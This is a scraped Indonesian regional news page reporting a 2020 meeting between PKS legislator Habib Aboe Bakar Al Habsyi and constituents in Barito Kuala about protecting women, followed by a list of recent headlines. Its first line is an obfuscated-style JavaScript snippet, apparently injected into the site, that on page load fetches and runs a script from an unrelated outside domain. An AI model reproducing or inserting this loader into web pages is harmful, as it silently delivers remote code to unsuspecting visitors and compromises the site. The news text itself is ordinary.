(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Bertemu Konstituen, Habib Aboe Bakar Diminta Lindungi Perempuan


KANALKALIMANTAN.COM, MARABAHAN, Anggota MPR RI Fraksi PKS Dapil Kalimantan Selatan 1 Habib Aboe Bakar Al Habsyi bertemu dengan perwakilan kader dan konstituen PKS se Barito Kuala di di Rumah Makan Pawon Tlogo Handil Bakti, Senin (10/2/2020). Pertemuan yang juga dihadiri oleh Ketua DPW PKS Kalsel Jafar SHut dan Ketua DPD PKS Batola Mohamad Agung Purnomo itu bertujuan mensosialisasikan empat pilar MPR RI yaitu Pancasila, UUD 1945, Ketetapan MPR, NKRI, dan Bhineka Tunggal Ika.

Namun, lebih khusus Habib Aboe Bakar menilai pertemuan tersebut merupakan sarana menggali aspirasi sembari bertukar info kepada para konstituen. Maka kesempatan itu tak disia-siakan Mualimah, seorang warga yang tinggal di Handil Bakti. “Saya resah dengan kondisi perempuan hari ini, banyak yang terjebak narkoba dan menjadi korban perkosaan. Saya sedih melihat lemahnya kaum wanita, jadi Saya mohon perjuangkan kebijakan untuk melindungi hak asasi perempuan,” ucapnya.

Menyikapi hal itu, Habib Aboe Bakar dengan tegas menyambut permintaan tersebut. “PKS telah membuktikan perjuangan itu dengan bersikap keras terhadap RUU tentang kekerasan wanita yang malah cenderung merusak moral. Menjaga marwah (harga diri) wanita adalah hal utama yang harus dibela karena wanita itu madrasah pertama bagi generasi bangsa,” ucapnya.

Habib Aboe Bakar juga menegaskan bahwa saat ini ada delapan kader PKS yang berjuang demi kebaikan para wanita. Tak lupa Ia meminta doa untuk keberhasilan perjuangan para wakil rakyat di parlemen. “Perjuangan itu tak mudah,” ungkapnya.

Lebih lanjut Habib Aboe Bakar menyampaikan bahwa PKS serius dalam menyikapi masalah, terlebih sebagai partai oposisi. Dalam kasus Jiwasraya misalnya, PKS lah yang terus konsisten mengajukan pansus hak angket. “Meski begitu oposisinya PKS itu oposisi yang bermartabat. Kebijakan yang tidak baik harus dikoreksi, namun jika ada hal baik maka harus diapresiasi,” pungkasnya. (Kanalkalimantan.com/Retno)

 

 

Reporter : Retno
Editor : Cell

 


Desy Arfianty

Recent Posts

2026 Kemendikdasmen Revitalisasi 11.744 Satuan Pendidikan, Kalsel Kebagian Rp232,9 M di 2025

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More

2 jam ago

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

15 jam ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

16 jam ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

18 jam ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

22 jam ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

22 jam ago

This website uses cookies.